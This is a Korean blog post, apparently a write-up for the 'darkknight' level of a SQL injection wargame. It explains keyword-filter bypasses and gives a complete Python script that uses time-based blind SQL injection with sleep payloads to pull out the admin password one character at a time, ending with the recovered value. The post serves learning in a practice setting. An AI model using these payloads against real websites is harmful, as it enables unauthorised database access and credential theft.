728x90
반응형
- time based로 풀어야하는 문제
- 근데 파라미터 no에 ', substr, ascii, = 을 못쓰게 필터링 걸려있다.
- ' -> 굳이 안써도 됨
- substr -> mid
- asciil -> ord
- = -> like
- 상기의 bypass 문자열로 우회가 다 가능함.
import requests
url ='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=' #url 주소 입력
def find_pw_len():
pw_len=0
while 1:
pw_len=pw_len+1
value = '1 or id like "admin" %26%26 if(length(pw) like {}, sleep(3), 1)%23'.format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
cookies={'PHPSESSID' : '내 세션'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 3):
print("길이는? =",pw_len)
break
print("시도중 입니다!:",pw_len)
return pw_len
def find_pw():
pw_len=find_pw_len()
string=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122):
value ='1 or id like "admin" %26%26 if(ord(mid(pw,{},1)) like {}, sleep(3), 1)%23'.format(pw_value,ascii)
cookies={'PHPSESSID' : '내 세션'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 2):
string = string + chr(ascii)
print("{}번 째의 pw의 값은!".format(pw_value),string)
break
print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
print(string)
find_pw()
정답 : https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f
728x90
반응형
'Hacking > LOS' 카테고리의 다른 글
[LOS] 14. giant (4) | 2023.07.07 |
---|---|
[LOS] 13. bugbear (0) | 2023.07.06 |
[LOS] 11. golem (0) | 2023.07.06 |
[LOS] 10. skeleton (0) | 2023.07.06 |
[LOS] 9. vampire (0) | 2023.07.06 |